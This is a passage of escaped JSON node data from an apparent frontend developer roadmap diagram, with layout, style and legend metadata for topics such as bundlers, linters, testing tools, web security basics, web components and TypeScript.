\"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UUDkLxmojRYcDTpuyVFDj\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 161,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 241.39428364498542,\n        \"y\": 1208.9097604780045\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 226,\n      \"height\": 49,\n      \"id\": \"9VcGfDBBD8YcKatj4VcH1\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -48.8854599140368,\n        \"y\": 1183.2047610770715\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Linters and Formatters\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"f-3gf76yb-ihCOPTT30YX\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -48.8854599140368,\n        \"y\": 1183.2047610770715\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 226,\n      \"height\": 49,\n      \"id\": \"hkSc_1x09m7-7BO7WzlDT\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -48.8854599140368,\n        \"y\": 1238.9097604780045\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Module Bundlers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aQtOJsbkiuRhDqxhVWNlQ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -48.8854599140368,\n        \"y\": 1238.9097604780045\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 212,\n      \"height\": 49,\n      \"id\": \"NS-hwaWa5ebSmNNRoxFDp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -360.13444253706336,\n        \"y\": 1346.9097604780045\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Parcel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Fd8mOgQYENGkAU8W0LSkw\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -360.13444253706336,\n        \"y\": 1346.9097604780045\n      },\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 212,\n      \"height\": 49,\n      \"id\": \"sCjErk7rfWAUvhl8Kfm3n\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -360.13444253706336,\n        \"y\": 1292.9097604780045\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rollup\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gyF7FgAkwZ88w61m22Rjf\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -360.13444253706336,\n        \"y\": 1292.9097604780045\n      },\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 212,\n      \"height\": 49,\n      \"id\": \"twufEtHgxcRUWAUQ9bXus\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -360.13444253706336,\n        \"y\": 1238.9097604780045\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Webpack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3xtpc7w31zyKpNs8LTr6F\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -360.13444253706336,\n        \"y\": 1238.9097604780045\n      },\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 104,\n      \"height\": 49,\n      \"id\": \"4W7UXfdKIUsm1bUrjdTVT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -250.53087783577723,\n        \"y\": 1185.469247596049\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"esbuild\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t_hNHvx8q5HdzSoWmAEGo\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -250.53087783577723,\n        \"y\": 1185.469247596049\n      },\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 212,\n      \"height\": 49,\n      \"id\": \"0Awx3zEI5_gYEIrD7IVX6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -360.13444253706336,\n        \"y\": 1130.9097604780045\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vite\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"K4VjGtyD8zVFUMDMywTYM\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -360.13444253706336,\n        \"y\": 1130.9097604780045\n      },\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 112,\n      \"height\": 49,\n      \"id\": \"zbkpu_gvQ4mgCiZKzS1xv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -48.8854599140368,\n        \"y\": 1097.007960598624\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Prettier\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_TRZgdEjj_B-DQe2Vxrrm\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -48.8854599140368,\n        \"y\": 1097.007960598624\n      },\n      \"style\": {\n        \"width\": 112,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 112,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 111,\n      \"height\": 49,\n      \"id\": \"NFjsI712_qP0IOmjuqXar\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 67.34973095743374,\n        \"y\": 1097.007960598624\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ESLint\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8SvBv3DDaXg2G8m9Hf7-g\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 67.34973095743374,\n        \"y\": 1097.007960598624\n      },\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 161,\n      \"height\": 51,\n      \"id\": \"igg4_hb3XE3vuvY8ufV-4\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 241.39428364498542,\n        \"y\": 1395.707960645082\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"M-Oj3xklWJVhnuu_8M9LV\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 161,\n        \"height\": 51\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 241.39428364498542,\n        \"y\": 1395.707960645082\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 51\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"hVQ89f6G0LXEgHIOKHDYq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -67.36820371502154,\n        \"y\": 1344.100267415748\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vitest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-mSYXMk_uhUAoQAwBhxgp\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -67.36820371502154,\n        \"y\": 1344.100267415748\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"g5itUjgRXd9vs9ujHezFl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 37.63179628497846,\n        \"y\": 1344.100267415748\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Jest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3JyKZE1jB43Hq3GlG1hvn\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 37.63179628497846,\n        \"y\": 1344.100267415748\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 161,\n      \"height\": 49,\n      \"id\": \"jramLk8FGuaEH4YpHIyZT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 241.39428364498542,\n        \"y\": 1474.2939858099264\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Playwright\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"matNxmkGq8gg-UQ_cSNPd\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 241.39428364498542,\n        \"y\": 1474.2939858099264\n      },\n      \"style\": {\n        \"width\": 161,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 161,\n      \"height\": 49,\n      \"id\": \"DaynCz5RR26gjT6N6gTDL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 241.39428364498542,\n        \"y\": 1528.2939858099264\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cypress\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2MeMVJVJchEHBt2R3lyzw\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 241.39428364498542,\n        \"y\": 1528.2939858099264\n      },\n      \"style\": {\n        \"width\": 161,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 331,\n      \"height\": 50,\n      \"id\": \"U5mD5FmVx7VWeKxDpQxB5\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -267.4913561640819,\n        \"y\": 1483.7610367386817\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Authentication Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5W4R31waHlBLMPk8HEHjt\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 331,\n        \"height\": 50\n      },\n      \"resizing\": true,\n      \"positionAbsolute\": {\n        \"x\": -267.4913561640819,\n        \"y\": 1483.7610367386817\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 50\n      }\n    },\n    {\n      \"width\": 223,\n      \"height\": 49,\n      \"id\": \"RDWbG3Iui6IPgp0shvXtg\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -641.4418542150819,\n        \"y\": 1384.2280876674367\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Web Security Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yGexInV1evZLDnA6E4-Ta\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"positionAbsolute\": {\n        \"x\": -641.4418542150819,\n        \"y\": 1384.2280876674367\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 110,\n      \"height\": 49,\n      \"id\": \"AfH2zCbqzw0Nisg1yyISS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -641.4418542150819,\n        \"y\": 1131.2732116944574\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CORS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"AiFQoD09X9K36nmgsH1Aj\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -641.4418542150819,\n        \"y\": 1131.2732116944574\n      },\n      \"style\": {\n        \"width\": 110,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 110,\n      \"height\": 49,\n      \"id\": \"uum7vOhOUR38vLuGZy8Oa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -526.4565506483883,\n        \"y\": 1131.2732116944574\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTTPS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"smz9DaF6gwWdob_lyMYzt\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -526.4565506483883,\n        \"y\": 1131.2732116944574\n      },\n      \"style\": {\n        \"width\": 110,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 227,\n      \"height\": 49,\n      \"id\": \"rmcm0CZbtNVC9LZ14-H6h\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -641.4418542150819,\n        \"y\": 1185.2732116944574\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Content Security Policy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xAu1DT2aO5IzvaDrjYB0M\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -641.4418542150819,\n        \"y\": 1185.2732116944574\n      },\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 226,\n      \"height\": 49,\n      \"id\": \"JanR7I_lNnUCXhCMGLdn-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -641.4418542150819,\n        \"y\": 1239.2732116944574\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OWASP Security Risks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kUy5HzWZoQm4YEDM6SYnL\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -641.4418542150819,\n        \"y\": 1239.2732116944574\n      },\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 227,\n      \"height\": 49,\n      \"id\": \"ruoFa3M4bUE3Dg6GXSiUI\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -643.4418542150819,\n        \"y\": 1628.657291456067\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Web Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bxdQ2Kh_6OA6zABiQDMzW\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -643.4418542150819,\n        \"y\": 1628.657291456067\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 169,\n      \"height\": 49,\n      \"id\": \"hwPOGT0-duy3KfI8QaEwF\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -296.3110352511957,\n        \"y\": 1628.657291456067\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Type Checkers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"E15W2UbKUcQ2SIEOKjHnF\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -296.3110352511957,\n        \"y\": 1628.657291456067\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 227,\n      \"height\": 49,\n      \"id\": \"VxiQPgcYDFAT6WgSRWpIA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -643.4418542150819,\n        \"y\": 1769.6524214737567\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Custom Elements\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9bxoRhitbZNn5b0IoJYBg\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -643.4418542150819,\n        \"y\": 1769.6524214737567\n      },\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 227,\n      \"height\": 49,\n      \"id\": \"Hk8AVonOd693_y1sykPqd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -643.4418542150819,\n        \"y\": 1715.6524214737567\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTML Templates\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fexS9SQR_oUMMyvCFfQHx\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -643.4418542150819,\n        \"y\": 1715.6524214737567\n      },\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 227,\n      \"height\": 49,\n      \"id\": \"-SpsNeOZBkQfDA-rwzgPg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -643.4418542150819,\n        \"y\": 1823.6524214737567\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Shadow DOM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9uwJS2bEPM1-b5w-clIgW\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -643.4418542150819,\n        \"y\": 1823.6524214737567\n      },\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 169,\n      \"height\": 49,\n      \"id\": \"0asdhvwBH3gn-ercktV7A\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -296.3110352511957,\n        \"y\": 1705.5579525586788\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TypeScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zNxwUyEsGPseh4i7l052C\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -296.3110352511957,\n        \"y\": 1705.5579525586788\n      },\n      \"style\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 109,\n      \"height\": 49,\n      \"id\": \"Cxspmb14_0i1tfw-ZLxEu\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -74.5,\n        \"y\": 1778.6524214737567\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SSR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9xcixG6DhtFqzvrdVC-iR\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 109,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -74.5,\n        \"y\": 1778.6524214737567\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 106,\n      \"height\": 49,\n      \"id\": \"OL8I6nOZ8hGGWmtxg_Mv8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 119.74458345301082,\n        \"y\": 1830.6524214737567\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Svelte\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"E2W0AJDq7IWWEyTJeixyG\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 119.74458345301082,\n        \"y\": 1830.6524214737567\n      },\n      \"style\": {\n        \"width\": 106,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 106,\n      \"height\": 49,\n      \"id\": \"3TE_iYvbklXK0be-5f2M7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 119.74458345301082,\n        \"y\": 1776.6524214737567\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vue.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5iKf8ERxF8x8-DjoxqpLz\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 119.74458345301082,\n        \"y\": 1776.6524214737567\n      },\n      \"style\": {\n        \"width\": 106,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        